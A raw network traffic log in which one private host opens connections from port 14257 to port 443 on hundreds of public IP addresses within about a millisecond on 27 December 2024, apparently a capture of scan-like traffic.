Dec 27, 2024 05:02:50.930615902 CET	14257	443	192.168.2.23	212.58.27.78
Dec 27, 2024 05:02:50.930615902 CET	14257	443	192.168.2.23	210.222.20.99
Dec 27, 2024 05:02:50.930615902 CET	14257	443	192.168.2.23	79.161.227.59
Dec 27, 2024 05:02:50.930624962 CET	14257	443	192.168.2.23	42.195.125.81
Dec 27, 2024 05:02:50.930629969 CET	14257	443	192.168.2.23	5.33.244.60
Dec 27, 2024 05:02:50.930634022 CET	14257	443	192.168.2.23	148.159.200.91
Dec 27, 2024 05:02:50.930634975 CET	14257	443	192.168.2.23	37.220.219.224
Dec 27, 2024 05:02:50.930635929 CET	14257	443	192.168.2.23	212.0.149.145
Dec 27, 2024 05:02:50.930635929 CET	14257	443	192.168.2.23	212.48.204.199
Dec 27, 2024 05:02:50.930640936 CET	14257	443	192.168.2.23	42.172.67.17
Dec 27, 2024 05:02:50.930643082 CET	14257	443	192.168.2.23	79.186.91.107
Dec 27, 2024 05:02:50.930648088 CET	14257	443	192.168.2.23	5.141.192.237
Dec 27, 2024 05:02:50.930660963 CET	14257	443	192.168.2.23	118.57.72.150
Dec 27, 2024 05:02:50.930666924 CET	14257	443	192.168.2.23	2.24.142.148
Dec 27, 2024 05:02:50.930670023 CET	14257	443	192.168.2.23	210.8.139.212
Dec 27, 2024 05:02:50.930675983 CET	14257	443	192.168.2.23	42.74.243.166
Dec 27, 2024 05:02:50.930676937 CET	14257	443	192.168.2.23	2.253.176.119
Dec 27, 2024 05:02:50.930677891 CET	14257	443	192.168.2.23	202.186.195.105
Dec 27, 2024 05:02:50.930677891 CET	14257	443	192.168.2.23	109.139.243.26
Dec 27, 2024 05:02:50.930679083 CET	14257	443	192.168.2.23	42.151.6.20
Dec 27, 2024 05:02:50.930679083 CET	14257	443	192.168.2.23	117.158.231.236
Dec 27, 2024 05:02:50.930689096 CET	14257	443	192.168.2.23	148.131.117.116
Dec 27, 2024 05:02:50.930706978 CET	14257	443	192.168.2.23	178.31.219.204
Dec 27, 2024 05:02:50.930710077 CET	14257	443	192.168.2.23	79.31.84.198
Dec 27, 2024 05:02:50.930710077 CET	14257	443	192.168.2.23	117.4.162.159
Dec 27, 2024 05:02:50.930711031 CET	14257	443	192.168.2.23	210.218.110.193
Dec 27, 2024 05:02:50.930711031 CET	14257	443	192.168.2.23	42.199.111.24
Dec 27, 2024 05:02:50.930716038 CET	14257	443	192.168.2.23	148.127.187.63
Dec 27, 2024 05:02:50.930716038 CET	14257	443	192.168.2.23	2.215.51.4
Dec 27, 2024 05:02:50.930717945 CET	14257	443	192.168.2.23	210.150.138.2
Dec 27, 2024 05:02:50.930720091 CET	14257	443	192.168.2.23	79.240.107.229
Dec 27, 2024 05:02:50.930720091 CET	14257	443	192.168.2.23	5.79.168.209
Dec 27, 2024 05:02:50.930736065 CET	14257	443	192.168.2.23	109.183.170.210
Dec 27, 2024 05:02:50.930737019 CET	14257	443	192.168.2.23	5.57.134.51
Dec 27, 2024 05:02:50.930737972 CET	14257	443	192.168.2.23	79.196.41.38
Dec 27, 2024 05:02:50.930746078 CET	14257	443	192.168.2.23	148.211.191.133
Dec 27, 2024 05:02:50.930746078 CET	14257	443	192.168.2.23	148.91.140.135
Dec 27, 2024 05:02:50.930746078 CET	14257	443	192.168.2.23	178.132.153.153
Dec 27, 2024 05:02:50.930754900 CET	14257	443	192.168.2.23	148.114.159.225
Dec 27, 2024 05:02:50.930758953 CET	14257	443	192.168.2.23	123.79.101.1
Dec 27, 2024 05:02:50.930766106 CET	14257	443	192.168.2.23	212.60.63.95
Dec 27, 2024 05:02:50.930767059 CET	14257	443	192.168.2.23	178.84.171.238
Dec 27, 2024 05:02:50.930773973 CET	14257	443	192.168.2.23	37.175.213.245
Dec 27, 2024 05:02:50.930778027 CET	14257	443	192.168.2.23	210.112.45.125
Dec 27, 2024 05:02:50.930792093 CET	14257	443	192.168.2.23	5.237.119.29
Dec 27, 2024 05:02:50.930792093 CET	14257	443	192.168.2.23	37.22.245.89
Dec 27, 2024 05:02:50.930797100 CET	14257	443	192.168.2.23	2.105.96.139
Dec 27, 2024 05:02:50.930803061 CET	14257	443	192.168.2.23	5.97.119.79
Dec 27, 2024 05:02:50.930804014 CET	14257	443	192.168.2.23	79.15.249.48
Dec 27, 2024 05:02:50.930814981 CET	14257	443	192.168.2.23	148.217.97.214
Dec 27, 2024 05:02:50.930819035 CET	14257	443	192.168.2.23	2.146.56.76
Dec 27, 2024 05:02:50.930820942 CET	14257	443	192.168.2.23	42.170.13.124
Dec 27, 2024 05:02:50.930820942 CET	14257	443	192.168.2.23	212.210.144.219
Dec 27, 2024 05:02:50.930830002 CET	14257	443	192.168.2.23	148.189.148.78
Dec 27, 2024 05:02:50.930830956 CET	14257	443	192.168.2.23	94.134.56.131
Dec 27, 2024 05:02:50.930831909 CET	14257	443	192.168.2.23	178.117.94.70
Dec 27, 2024 05:02:50.930835962 CET	14257	443	192.168.2.23	109.107.246.73
Dec 27, 2024 05:02:50.930841923 CET	14257	443	192.168.2.23	118.222.23.235
Dec 27, 2024 05:02:50.930841923 CET	14257	443	192.168.2.23	212.226.213.47
Dec 27, 2024 05:02:50.930850983 CET	14257	443	192.168.2.23	94.50.173.162
Dec 27, 2024 05:02:50.930850983 CET	14257	443	192.168.2.23	94.115.59.168
Dec 27, 2024 05:02:50.930851936 CET	14257	443	192.168.2.23	148.120.64.135
Dec 27, 2024 05:02:50.930851936 CET	14257	443	192.168.2.23	123.162.116.26
Dec 27, 2024 05:02:50.930855036 CET	14257	443	192.168.2.23	123.206.246.216
Dec 27, 2024 05:02:50.930860996 CET	14257	443	192.168.2.23	79.195.36.69
Dec 27, 2024 05:02:50.930862904 CET	14257	443	192.168.2.23	202.200.180.204
Dec 27, 2024 05:02:50.930855036 CET	14257	443	192.168.2.23	210.172.30.103
Dec 27, 2024 05:02:50.930866957 CET	14257	443	192.168.2.23	2.204.191.160
Dec 27, 2024 05:02:50.930866957 CET	14257	443	192.168.2.23	178.192.27.62
Dec 27, 2024 05:02:50.930866957 CET	14257	443	192.168.2.23	117.232.95.109
Dec 27, 2024 05:02:50.930872917 CET	14257	443	192.168.2.23	5.49.61.130
Dec 27, 2024 05:02:50.930874109 CET	14257	443	192.168.2.23	123.131.188.93
Dec 27, 2024 05:02:50.930874109 CET	14257	443	192.168.2.23	117.28.78.161
Dec 27, 2024 05:02:50.930876970 CET	14257	443	192.168.2.23	2.102.215.79
Dec 27, 2024 05:02:50.930881023 CET	14257	443	192.168.2.23	212.203.144.24
Dec 27, 2024 05:02:50.930881023 CET	14257	443	192.168.2.23	2.48.171.145
Dec 27, 2024 05:02:50.930881023 CET	14257	443	192.168.2.23	117.198.142.47
Dec 27, 2024 05:02:50.930882931 CET	14257	443	192.168.2.23	42.211.74.146
Dec 27, 2024 05:02:50.930893898 CET	14257	443	192.168.2.23	79.82.222.231
Dec 27, 2024 05:02:50.930895090 CET	14257	443	192.168.2.23	148.123.19.61
Dec 27, 2024 05:02:50.930895090 CET	14257	443	192.168.2.23	94.38.103.155
Dec 27, 2024 05:02:50.930902004 CET	14257	443	192.168.2.23	37.247.26.222
Dec 27, 2024 05:02:50.930916071 CET	14257	443	192.168.2.23	210.200.253.225
Dec 27, 2024 05:02:50.930917025 CET	14257	443	192.168.2.23	79.108.194.55
Dec 27, 2024 05:02:50.930917025 CET	14257	443	192.168.2.23	210.69.29.234
Dec 27, 2024 05:02:50.930926085 CET	14257	443	192.168.2.23	109.34.162.153
Dec 27, 2024 05:02:50.930932045 CET	14257	443	192.168.2.23	94.171.157.55
Dec 27, 2024 05:02:50.930933952 CET	14257	443	192.168.2.23	117.39.75.152
Dec 27, 2024 05:02:50.930936098 CET	14257	443	192.168.2.23	94.152.25.190
Dec 27, 2024 05:02:50.930938959 CET	14257	443	192.168.2.23	148.143.65.214
Dec 27, 2024 05:02:50.930965900 CET	14257	443	192.168.2.23	202.15.254.166
Dec 27, 2024 05:02:50.930967093 CET	14257	443	192.168.2.23	118.130.34.131
Dec 27, 2024 05:02:50.930969000 CET	14257	443	192.168.2.23	118.215.32.88
Dec 27, 2024 05:02:50.930969000 CET	14257	443	192.168.2.23	2.22.121.136
Dec 27, 2024 05:02:50.930974960 CET	14257	443	192.168.2.23	178.31.152.181
Dec 27, 2024 05:02:50.930979967 CET	14257	443	192.168.2.23	118.157.63.158
Dec 27, 2024 05:02:50.930985928 CET	14257	443	192.168.2.23	123.16.202.10
Dec 27, 2024 05:02:50.930986881 CET	14257	443	192.168.2.23	148.137.244.153
Dec 27, 2024 05:02:50.930989027 CET	14257	443	192.168.2.23	210.193.117.85
Dec 27, 2024 05:02:50.930998087 CET	14257	443	192.168.2.23	123.135.39.99
Dec 27, 2024 05:02:50.931001902 CET	14257	443	192.168.2.23	202.136.252.137
Dec 27, 2024 05:02:50.931005955 CET	14257	443	192.168.2.23	109.79.10.109
Dec 27, 2024 05:02:50.931018114 CET	14257	443	192.168.2.23	94.211.103.68
Dec 27, 2024 05:02:50.931018114 CET	14257	443	192.168.2.23	212.159.10.7
Dec 27, 2024 05:02:50.931018114 CET	14257	443	192.168.2.23	212.3.242.241
Dec 27, 2024 05:02:50.931021929 CET	14257	443	192.168.2.23	148.168.251.145
Dec 27, 2024 05:02:50.931025982 CET	14257	443	192.168.2.23	79.6.128.215
Dec 27, 2024 05:02:50.931055069 CET	14257	443	192.168.2.23	123.190.129.120
Dec 27, 2024 05:02:50.931058884 CET	14257	443	192.168.2.23	109.222.215.143
Dec 27, 2024 05:02:50.931060076 CET	14257	443	192.168.2.23	109.117.92.157
Dec 27, 2024 05:02:50.931061983 CET	14257	443	192.168.2.23	37.188.161.49
Dec 27, 2024 05:02:50.931062937 CET	14257	443	192.168.2.23	148.157.54.137
Dec 27, 2024 05:02:50.931066990 CET	14257	443	192.168.2.23	2.102.253.58
Dec 27, 2024 05:02:50.931071043 CET	14257	443	192.168.2.23	178.165.12.127
Dec 27, 2024 05:02:50.931073904 CET	14257	443	192.168.2.23	42.210.19.122
Dec 27, 2024 05:02:50.931078911 CET	14257	443	192.168.2.23	178.50.9.150
Dec 27, 2024 05:02:50.931078911 CET	14257	443	192.168.2.23	37.100.84.134
Dec 27, 2024 05:02:50.931080103 CET	14257	443	192.168.2.23	210.88.81.88
Dec 27, 2024 05:02:50.931097984 CET	14257	443	192.168.2.23	212.155.162.95
Dec 27, 2024 05:02:50.931097984 CET	14257	443	192.168.2.23	109.84.88.219
Dec 27, 2024 05:02:50.931097984 CET	14257	443	192.168.2.23	109.7.80.40
Dec 27, 2024 05:02:50.931097984 CET	14257	443	192.168.2.23	117.42.208.160
Dec 27, 2024 05:02:50.931103945 CET	14257	443	192.168.2.23	109.41.118.59
Dec 27, 2024 05:02:50.931108952 CET	14257	443	192.168.2.23	123.62.44.238
Dec 27, 2024 05:02:50.931111097 CET	14257	443	192.168.2.23	117.18.217.252
Dec 27, 2024 05:02:50.931126118 CET	14257	443	192.168.2.23	148.122.67.82
Dec 27, 2024 05:02:50.931126118 CET	14257	443	192.168.2.23	210.20.29.119
Dec 27, 2024 05:02:50.931126118 CET	14257	443	192.168.2.23	178.75.140.67
Dec 27, 2024 05:02:50.931130886 CET	14257	443	192.168.2.23	79.5.74.46
Dec 27, 2024 05:02:50.931133032 CET	14257	443	192.168.2.23	202.51.77.151
Dec 27, 2024 05:02:50.931138039 CET	14257	443	192.168.2.23	42.93.101.40
Dec 27, 2024 05:02:50.931138039 CET	14257	443	192.168.2.23	148.188.170.120
Dec 27, 2024 05:02:50.931138039 CET	14257	443	192.168.2.23	202.3.123.184
Dec 27, 2024 05:02:50.931155920 CET	14257	443	192.168.2.23	123.171.94.48
Dec 27, 2024 05:02:50.931155920 CET	14257	443	192.168.2.23	94.239.137.50
Dec 27, 2024 05:02:50.931157112 CET	14257	443	192.168.2.23	212.189.184.122
Dec 27, 2024 05:02:50.931157112 CET	14257	443	192.168.2.23	79.208.69.213
Dec 27, 2024 05:02:50.931157112 CET	14257	443	192.168.2.23	202.102.217.30
Dec 27, 2024 05:02:50.931157112 CET	14257	443	192.168.2.23	2.50.22.230
Dec 27, 2024 05:02:50.931174994 CET	14257	443	192.168.2.23	212.128.59.14
Dec 27, 2024 05:02:50.931178093 CET	14257	443	192.168.2.23	109.191.134.40
Dec 27, 2024 05:02:50.931183100 CET	14257	443	192.168.2.23	210.166.235.36
Dec 27, 2024 05:02:50.931190968 CET	14257	443	192.168.2.23	202.253.126.201
Dec 27, 2024 05:02:50.931197882 CET	14257	443	192.168.2.23	5.130.98.83
Dec 27, 2024 05:02:50.931201935 CET	14257	443	192.168.2.23	37.210.84.4
Dec 27, 2024 05:02:50.931202888 CET	14257	443	192.168.2.23	148.38.27.114
Dec 27, 2024 05:02:50.931219101 CET	14257	443	192.168.2.23	123.196.119.47
Dec 27, 2024 05:02:50.931219101 CET	14257	443	192.168.2.23	42.62.78.120
Dec 27, 2024 05:02:50.931221962 CET	14257	443	192.168.2.23	37.102.82.86
Dec 27, 2024 05:02:50.931221962 CET	14257	443	192.168.2.23	94.33.72.138
Dec 27, 2024 05:02:50.931221962 CET	14257	443	192.168.2.23	123.170.93.139
Dec 27, 2024 05:02:50.931221962 CET	14257	443	192.168.2.23	2.112.24.251
Dec 27, 2024 05:02:50.931226969 CET	14257	443	192.168.2.23	37.98.92.217
Dec 27, 2024 05:02:50.931227922 CET	14257	443	192.168.2.23	212.212.136.72
Dec 27, 2024 05:02:50.931229115 CET	14257	443	192.168.2.23	109.238.90.112
Dec 27, 2024 05:02:50.931235075 CET	14257	443	192.168.2.23	123.40.92.125
Dec 27, 2024 05:02:50.931256056 CET	14257	443	192.168.2.23	212.126.80.93
Dec 27, 2024 05:02:50.931258917 CET	14257	443	192.168.2.23	210.75.233.164
Dec 27, 2024 05:02:50.931261063 CET	14257	443	192.168.2.23	202.71.208.153
Dec 27, 2024 05:02:50.931268930 CET	14257	443	192.168.2.23	123.229.67.20
Dec 27, 2024 05:02:50.931268930 CET	14257	443	192.168.2.23	118.72.84.7
Dec 27, 2024 05:02:50.931274891 CET	14257	443	192.168.2.23	42.31.118.58
Dec 27, 2024 05:02:50.931283951 CET	14257	443	192.168.2.23	210.81.224.175
Dec 27, 2024 05:02:50.931293011 CET	14257	443	192.168.2.23	37.163.95.42
Dec 27, 2024 05:02:50.931293011 CET	14257	443	192.168.2.23	118.90.45.151
Dec 27, 2024 05:02:50.931299925 CET	14257	443	192.168.2.23	178.34.163.49
Dec 27, 2024 05:02:50.931299925 CET	14257	443	192.168.2.23	202.198.246.240
Dec 27, 2024 05:02:50.931303024 CET	14257	443	192.168.2.23	2.170.97.92
Dec 27, 2024 05:02:50.931314945 CET	14257	443	192.168.2.23	118.161.241.254
Dec 27, 2024 05:02:50.931314945 CET	14257	443	192.168.2.23	79.205.190.142
Dec 27, 2024 05:02:50.931324005 CET	14257	443	192.168.2.23	212.226.160.144
Dec 27, 2024 05:02:50.931329012 CET	14257	443	192.168.2.23	37.167.35.9
Dec 27, 2024 05:02:50.931330919 CET	14257	443	192.168.2.23	117.154.250.129
Dec 27, 2024 05:02:50.931333065 CET	14257	443	192.168.2.23	148.137.121.199
Dec 27, 2024 05:02:50.931339025 CET	443	14257	37.167.35.9	192.168.2.23
Dec 27, 2024 05:02:50.931346893 CET	14257	443	192.168.2.23	42.126.106.128
Dec 27, 2024 05:02:50.931346893 CET	14257	443	192.168.2.23	123.60.64.88
Dec 27, 2024 05:02:50.931348085 CET	14257	443	192.168.2.23	212.9.84.121
Dec 27, 2024 05:02:50.931349039 CET	14257	443	192.168.2.23	123.173.202.196
Dec 27, 2024 05:02:50.931360006 CET	14257	443	192.168.2.23	117.232.53.238
Dec 27, 2024 05:02:50.931361914 CET	14257	443	192.168.2.23	123.6.24.116
Dec 27, 2024 05:02:50.931377888 CET	14257	443	192.168.2.23	117.63.81.189
Dec 27, 2024 05:02:50.931380033 CET	14257	443	192.168.2.23	42.123.96.80
Dec 27, 2024 05:02:50.931380033 CET	14257	443	192.168.2.23	37.167.35.9
Dec 27, 2024 05:02:50.931384087 CET	14257	443	192.168.2.23	42.115.62.71
Dec 27, 2024 05:02:50.931384087 CET	14257	443	192.168.2.23	109.96.14.63
Dec 27, 2024 05:02:50.931385994 CET	14257	443	192.168.2.23	2.66.103.42
Dec 27, 2024 05:02:50.931390047 CET	14257	443	192.168.2.23	2.169.24.211
Dec 27, 2024 05:02:50.931390047 CET	14257	443	192.168.2.23	37.27.108.145
Dec 27, 2024 05:02:50.931391001 CET	14257	443	192.168.2.23	210.50.34.177
Dec 27, 2024 05:02:50.931392908 CET	14257	443	192.168.2.23	2.173.93.250
Dec 27, 2024 05:02:50.931394100 CET	14257	443	192.168.2.23	210.173.143.144
Dec 27, 2024 05:02:50.931405067 CET	14257	443	192.168.2.23	117.48.141.191
Dec 27, 2024 05:02:50.931405067 CET	14257	443	192.168.2.23	117.214.13.108
Dec 27, 2024 05:02:50.931421995 CET	14257	443	192.168.2.23	202.107.53.126
Dec 27, 2024 05:02:50.931428909 CET	14257	443	192.168.2.23	79.164.212.245
Dec 27, 2024 05:02:50.931432009 CET	14257	443	192.168.2.23	5.84.1.203
Dec 27, 2024 05:02:50.931437016 CET	14257	443	192.168.2.23	117.236.238.36
Dec 27, 2024 05:02:50.931449890 CET	14257	443	192.168.2.23	212.178.238.5
Dec 27, 2024 05:02:50.931454897 CET	14257	443	192.168.2.23	117.34.193.155
Dec 27, 2024 05:02:50.931456089 CET	14257	443	192.168.2.23	109.89.183.16
Dec 27, 2024 05:02:50.931457043 CET	14257	443	192.168.2.23	178.245.73.87
Dec 27, 2024 05:02:50.931468010 CET	14257	443	192.168.2.23	79.85.113.1
Dec 27, 2024 05:02:50.931471109 CET	14257	443	192.168.2.23	42.230.55.206
Dec 27, 2024 05:02:50.931474924 CET	14257	443	192.168.2.23	178.93.51.112
Dec 27, 2024 05:02:50.931474924 CET	14257	443	192.168.2.23	202.236.179.77
Dec 27, 2024 05:02:50.931477070 CET	14257	443	192.168.2.23	210.109.39.93
Dec 27, 2024 05:02:50.931490898 CET	14257	443	192.168.2.23	117.12.36.171
Dec 27, 2024 05:02:50.931493044 CET	14257	443	192.168.2.23	79.247.246.234
Dec 27, 2024 05:02:50.931495905 CET	14257	443	192.168.2.23	210.52.42.15
Dec 27, 2024 05:02:50.931497097 CET	14257	443	192.168.2.23	123.25.179.54
Dec 27, 2024 05:02:50.931519032 CET	14257	443	192.168.2.23	118.221.62.19
Dec 27, 2024 05:02:50.931519985 CET	14257	443	192.168.2.23	42.230.73.254
Dec 27, 2024 05:02:50.931521893 CET	14257	443	192.168.2.23	94.219.128.240
Dec 27, 2024 05:02:50.931538105 CET	14257	443	192.168.2.23	123.237.189.242
Dec 27, 2024 05:02:50.931538105 CET	14257	443	192.168.2.23	37.121.185.104
Dec 27, 2024 05:02:50.931539059 CET	14257	443	192.168.2.23	118.96.254.19
Dec 27, 2024 05:02:50.931540012 CET	14257	443	192.168.2.23	123.33.238.252
Dec 27, 2024 05:02:50.931541920 CET	14257	443	192.168.2.23	118.85.8.159
Dec 27, 2024 05:02:50.931545973 CET	14257	443	192.168.2.23	37.208.45.129
Dec 27, 2024 05:02:50.931545973 CET	14257	443	192.168.2.23	2.116.51.185
Dec 27, 2024 05:02:50.931555986 CET	14257	443	192.168.2.23	212.145.254.88
Dec 27, 2024 05:02:50.931571960 CET	14257	443	192.168.2.23	178.33.255.114
Dec 27, 2024 05:02:50.931571960 CET	14257	443	192.168.2.23	5.93.26.94
Dec 27, 2024 05:02:50.931576967 CET	14257	443	192.168.2.23	37.65.142.255
Dec 27, 2024 05:02:50.931576967 CET	14257	443	192.168.2.23	117.105.152.132
Dec 27, 2024 05:02:50.931576967 CET	14257	443	192.168.2.23	123.155.239.0
Dec 27, 2024 05:02:50.931579113 CET	14257	443	192.168.2.23	2.107.241.30
Dec 27, 2024 05:02:50.931583881 CET	14257	443	192.168.2.23	212.51.108.158
Dec 27, 2024 05:02:50.931585073 CET	14257	443	192.168.2.23	212.199.34.195
Dec 27, 2024 05:02:50.931595087 CET	14257	443	192.168.2.23	42.230.166.221
Dec 27, 2024 05:02:50.931596041 CET	14257	443	192.168.2.23	202.205.85.169
Dec 27, 2024 05:02:50.931600094 CET	14257	443	192.168.2.23	178.73.23.43
Dec 27, 2024 05:02:50.931627035 CET	14257	443	192.168.2.23	94.150.227.62
Dec 27, 2024 05:02:50.931631088 CET	14257	443	192.168.2.23	109.106.18.18
Dec 27, 2024 05:02:50.931631088 CET	14257	443	192.168.2.23	148.74.248.164
Dec 27, 2024 05:02:50.931632042 CET	14257	443	192.168.2.23	109.229.61.201
Dec 27, 2024 05:02:50.931636095 CET	14257	443	192.168.2.23	123.41.104.9
Dec 27, 2024 05:02:50.931638956 CET	14257	443	192.168.2.23	109.42.9.153
Dec 27, 2024 05:02:50.931639910 CET	14257	443	192.168.2.23	2.69.34.5
Dec 27, 2024 05:02:50.931642056 CET	14257	443	192.168.2.23	212.108.45.184
Dec 27, 2024 05:02:50.931642056 CET	14257	443	192.168.2.23	109.252.142.122
Dec 27, 2024 05:02:50.931642056 CET	14257	443	192.168.2.23	2.123.26.168
Dec 27, 2024 05:02:50.931647062 CET	14257	443	192.168.2.23	117.201.67.71
Dec 27, 2024 05:02:50.931652069 CET	14257	443	192.168.2.23	178.107.162.224
Dec 27, 2024 05:02:50.931653976 CET	14257	443	192.168.2.23	123.88.26.169
Dec 27, 2024 05:02:50.931653976 CET	14257	443	192.168.2.23	109.245.18.157
Dec 27, 2024 05:02:50.931658030 CET	14257	443	192.168.2.23	94.134.104.94
Dec 27, 2024 05:02:50.931668043 CET	14257	443	192.168.2.23	117.84.90.84
Dec 27, 2024 05:02:50.931668043 CET	14257	443	192.168.2.23	94.132.59.197
Dec 27, 2024 05:02:50.931675911 CET	14257	443	192.168.2.23	109.24.146.244
Dec 27, 2024 05:02:50.931678057 CET	14257	443	192.168.2.23	94.3.102.245
Dec 27, 2024 05:02:50.931694984 CET	14257	443	192.168.2.23	5.233.6.206
Dec 27, 2024 05:02:50.931696892 CET	14257	443	192.168.2.23	42.53.120.226
Dec 27, 2024 05:02:50.931698084 CET	14257	443	192.168.2.23	2.96.230.165
Dec 27, 2024 05:02:50.931698084 CET	14257	443	192.168.2.23	148.65.144.126
Dec 27, 2024 05:02:50.931699991 CET	14257	443	192.168.2.23	2.249.29.53
Dec 27, 2024 05:02:50.931700945 CET	14257	443	192.168.2.23	178.246.155.207
Dec 27, 2024 05:02:50.931700945 CET	14257	443	192.168.2.23	178.104.125.90
Dec 27, 2024 05:02:50.931726933 CET	14257	443	192.168.2.23	123.175.151.182
Dec 27, 2024 05:02:50.931726933 CET	14257	443	192.168.2.23	42.6.156.93
Dec 27, 2024 05:02:50.931726933 CET	14257	443	192.168.2.23	5.99.59.251
Dec 27, 2024 05:02:50.931734085 CET	14257	443	192.168.2.23	202.149.215.193
Dec 27, 2024 05:02:50.931735039 CET	14257	443	192.168.2.23	79.215.231.151
Dec 27, 2024 05:02:50.931739092 CET	14257	443	192.168.2.23	5.37.31.162
Dec 27, 2024 05:02:50.931739092 CET	14257	443	192.168.2.23	79.49.4.145
Dec 27, 2024 05:02:50.931741953 CET	14257	443	192.168.2.23	210.237.60.169
Dec 27, 2024 05:02:50.931746006 CET	14257	443	192.168.2.23	37.173.169.174
Dec 27, 2024 05:02:50.931746006 CET	14257	443	192.168.2.23	123.245.221.184
Dec 27, 2024 05:02:50.931755066 CET	14257	443	192.168.2.23	79.139.251.70
Dec 27, 2024 05:02:50.931757927 CET	14257	443	192.168.2.23	117.176.195.211
Dec 27, 2024 05:02:50.931757927 CET	14257	443	192.168.2.23	109.35.252.140
Dec 27, 2024 05:02:50.931776047 CET	14257	443	192.168.2.23	118.133.184.85
Dec 27, 2024 05:02:50.931776047 CET	14257	443	192.168.2.23	118.215.139.230
Dec 27, 2024 05:02:50.931782007 CET	14257	443	192.168.2.23	42.64.170.16
Dec 27, 2024 05:02:50.931782961 CET	14257	443	192.168.2.23	202.31.129.26
Dec 27, 2024 05:02:50.931785107 CET	14257	443	192.168.2.23	148.99.227.249
Dec 27, 2024 05:02:50.931787014 CET	14257	443	192.168.2.23	79.192.28.88
Dec 27, 2024 05:02:50.931813002 CET	14257	443	192.168.2.23	202.238.128.58
Dec 27, 2024 05:02:50.931813955 CET	14257	443	192.168.2.23	79.60.216.73
Dec 27, 2024 05:02:50.931814909 CET	14257	443	192.168.2.23	2.198.159.12
Dec 27, 2024 05:02:50.931821108 CET	14257	443	192.168.2.23	79.7.106.133
Dec 27, 2024 05:02:50.931824923 CET	14257	443	192.168.2.23	118.193.247.157
Dec 27, 2024 05:02:50.931827068 CET	14257	443	192.168.2.23	2.232.165.233
Dec 27, 2024 05:02:50.931827068 CET	14257	443	192.168.2.23	117.231.152.229
Dec 27, 2024 05:02:50.931828976 CET	14257	443	192.168.2.23	94.30.10.243
Dec 27, 2024 05:02:50.931838036 CET	14257	443	192.168.2.23	2.122.58.13
Dec 27, 2024 05:02:50.931838989 CET	14257	443	192.168.2.23	2.230.19.30
Dec 27, 2024 05:02:50.931843042 CET	14257	443	192.168.2.23	178.117.207.46
Dec 27, 2024 05:02:50.931843042 CET	14257	443	192.168.2.23	210.20.90.47
Dec 27, 2024 05:02:50.931849003 CET	14257	443	192.168.2.23	42.120.194.73
Dec 27, 2024 05:02:50.931849003 CET	14257	443	192.168.2.23	210.222.200.162
Dec 27, 2024 05:02:50.931852102 CET	14257	443	192.168.2.23	42.243.214.75
Dec 27, 2024 05:02:50.931858063 CET	14257	443	192.168.2.23	2.151.60.255
Dec 27, 2024 05:02:50.931858063 CET	14257	443	192.168.2.23	212.255.109.11
Dec 27, 2024 05:02:50.931863070 CET	14257	443	192.168.2.23	79.180.156.101
Dec 27, 2024 05:02:50.931863070 CET	14257	443	192.168.2.23	5.227.159.19
Dec 27, 2024 05:02:50.931865931 CET	14257	443	192.168.2.23	178.25.180.139
Dec 27, 2024 05:02:50.931890011 CET	14257	443	192.168.2.23	37.212.32.222
Dec 27, 2024 05:02:50.931890011 CET	14257	443	192.168.2.23	148.85.252.120
Dec 27, 2024 05:02:50.931893110 CET	14257	443	192.168.2.23	202.144.69.151
Dec 27, 2024 05:02:50.931895971 CET	14257	443	192.168.2.23	42.243.159.36
Dec 27, 2024 05:02:50.931911945 CET	14257	443	192.168.2.23	42.42.36.223
Dec 27, 2024 05:02:50.931911945 CET	14257	443	192.168.2.23	118.58.0.188
Dec 27, 2024 05:02:50.931917906 CET	14257	443	192.168.2.23	118.238.67.167
Dec 27, 2024 05:02:50.931919098 CET	14257	443	192.168.2.23	5.26.60.196
Dec 27, 2024 05:02:50.931919098 CET	14257	443	192.168.2.23	5.222.192.242
Dec 27, 2024 05:02:50.931919098 CET	14257	443	192.168.2.23	37.19.142.126
Dec 27, 2024 05:02:50.931922913 CET	14257	443	192.168.2.23	178.213.175.134
Dec 27, 2024 05:02:50.931926966 CET	14257	443	192.168.2.23	148.93.184.140
Dec 27, 2024 05:02:50.931936026 CET	14257	443	192.168.2.23	123.251.43.68
Dec 27, 2024 05:02:50.931936026 CET	14257	443	192.168.2.23	123.132.204.95
Dec 27, 2024 05:02:50.931942940 CET	14257	443	192.168.2.23	79.148.215.105
Dec 27, 2024 05:02:50.931948900 CET	14257	443	192.168.2.23	2.117.209.54
Dec 27, 2024 05:02:50.931952000 CET	14257	443	192.168.2.23	2.138.167.51
Dec 27, 2024 05:02:50.931953907 CET	14257	443	192.168.2.23	42.226.74.146
Dec 27, 2024 05:02:50.931962013 CET	14257	443	192.168.2.23	2.32.170.251
Dec 27, 2024 05:02:50.931983948 CET	14257	443	192.168.2.23	37.204.213.41
Dec 27, 2024 05:02:50.931983948 CET	14257	443	192.168.2.23	94.29.11.43
Dec 27, 2024 05:02:50.931988001 CET	14257	443	192.168.2.23	123.178.185.152
Dec 27, 2024 05:02:50.931991100 CET	14257	443	192.168.2.23	123.19.133.10
Dec 27, 2024 05:02:50.932002068 CET	14257	443	192.168.2.23	123.189.122.236
Dec 27, 2024 05:02:50.932008982 CET	14257	443	192.168.2.23	202.71.223.205
Dec 27, 2024 05:02:50.932013035 CET	14257	443	192.168.2.23	123.127.118.81
Dec 27, 2024 05:02:50.932013035 CET	14257	443	192.168.2.23	123.167.204.133
Dec 27, 2024 05:02:50.932013035 CET	14257	443	192.168.2.23	148.57.18.199
Dec 27, 2024 05:02:50.932013035 CET	14257	443	192.168.2.23	79.225.192.81
Dec 27, 2024 05:02:50.932018995 CET	14257	443	192.168.2.23	212.103.71.255
Dec 27, 2024 05:02:50.932025909 CET	14257	443	192.168.2.23	123.63.176.151
Dec 27, 2024 05:02:50.932032108 CET	14257	443	192.168.2.23	79.233.61.164
Dec 27, 2024 05:02:50.932040930 CET	14257	443	192.168.2.23	79.139.52.37
Dec 27, 2024 05:02:50.932040930 CET	14257	443	192.168.2.23	178.82.30.105
Dec 27, 2024 05:02:50.932041883 CET	14257	443	192.168.2.23	123.45.20.133
Dec 27, 2024 05:02:50.932045937 CET	14257	443	192.168.2.23	178.187.131.1
Dec 27, 2024 05:02:50.932045937 CET	14257	443	192.168.2.23	178.208.203.180
Dec 27, 2024 05:02:50.932046890 CET	14257	443	192.168.2.23	5.98.0.167
Dec 27, 2024 05:02:50.932075977 CET	14257	443	192.168.2.23	148.47.200.138
Dec 27, 2024 05:02:50.932075977 CET	14257	443	192.168.2.23	109.222.182.83
Dec 27, 2024 05:02:50.932075977 CET	14257	443	192.168.2.23	109.105.200.83
Dec 27, 2024 05:02:50.932079077 CET	14257	443	192.168.2.23	2.216.223.172
